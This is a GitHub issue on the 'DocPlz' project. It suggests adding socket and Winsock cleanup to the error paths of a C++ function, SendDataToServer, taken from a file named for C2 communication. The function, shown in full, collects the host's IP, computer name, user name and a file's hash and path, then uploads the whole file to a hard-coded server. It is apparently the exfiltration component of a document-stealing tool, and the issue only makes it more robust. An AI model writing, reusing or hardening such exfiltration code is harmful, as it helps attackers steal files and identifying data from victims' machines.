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docplz's Issues

Address error handling consistencies in `SendDataToServer`

Some failures to release resources in error returns:

void SendDataToServer(const char* filePath, BYTE* fileHash, const char* ip, const char* computerName, const char* userName) {
    WSADATA wsaData;
    SOCKET clientSocket;
    struct sockaddr_in server;

    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        fprintf(stderr, "\nWSAStartup failed. Error Code : %d\n", WSAGetLastError());
        return;
    }

    clientSocket = socket(AF_INET, SOCK_STREAM, 0);
    if (clientSocket == INVALID_SOCKET) {
        fprintf(stderr, "\nCould not create socket : %d\n", WSAGetLastError());
+        WSACleanup();
        return;
    }

    server.sin_addr.s_addr = inet_addr(SERVER_IP);
    server.sin_family = AF_INET;
    server.sin_port = htons(SERVER_PORT_FILE);

    if (connect(clientSocket, (struct sockaddr*)&server, sizeof(server)) < 0) {
        fprintf(stderr, "\nConnect error. Error Code : %d\n", WSAGetLastError());
+        closesocket(clientSocket);
+        WSACleanup();
        return;
    }

    FILE* file = fopen(filePath, "rb");
    if (file == NULL) {
        fprintf(stderr, "\nFile could not be opened.\n");
+        closesocket(clientSocket);
+        WSACleanup();
        return;
    }

    fseek(file, 0, SEEK_END);
    long fileSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    char fileHashStr[65];
    for (int i = 0; i < 32; i++) {
        snprintf(fileHashStr + i * 2, 3, "%02x", fileHash[i]);
    }

    char json[8192];
    snprintf(json, sizeof(json), "{\"ip\":\"%s\",\"computerName\":\"%s\",\"userName\":\"%s\",\"fileHash\":\"%s\",\"filePath\":\"%s\",\"fileSize\":\"%ld\"}", ip, computerName, userName, fileHashStr, filePath, fileSize);

    int jsonSize = strlen(json);

    // Send the size of the JSON data first (converted to network byte order)
    int jsonSizeToSend = htonl(jsonSize);
    send(clientSocket, (char*)&jsonSizeToSend, sizeof(jsonSizeToSend), 0);
    printf("[+] jsonSize = %d\n", jsonSize);
    printf("[+] json : \n%s\n", json);
    // Send the JSON data
    send(clientSocket, json, jsonSize, 0);

    // Read file content into a buffer
    char* fileBuffer = (char*)malloc(fileSize);
    if (fileBuffer == NULL) {
        fprintf(stderr, "\nMemory allocation error.\n");
        fclose(file);
+        closesocket(clientSocket);
+        WSACleanup();
        return;
    }
    fread(fileBuffer, 1, fileSize, file);

    // Send the file data
    send(clientSocket, fileBuffer, fileSize, 0);

    free(fileBuffer);
    fclose(file);
    closesocket(clientSocket);
    WSACleanup();

    printf("\n[+] File sent successfully.\n");
}

https://github.com/TheD1rkMtr/DocPlz/blob/ab7e684aa36eb7e3412e54fcd5cddc697f57100d/1%20-%20Documents%20Uploader/DocsPLZ/ComunicationC2.cpp#L74C16-L74C16

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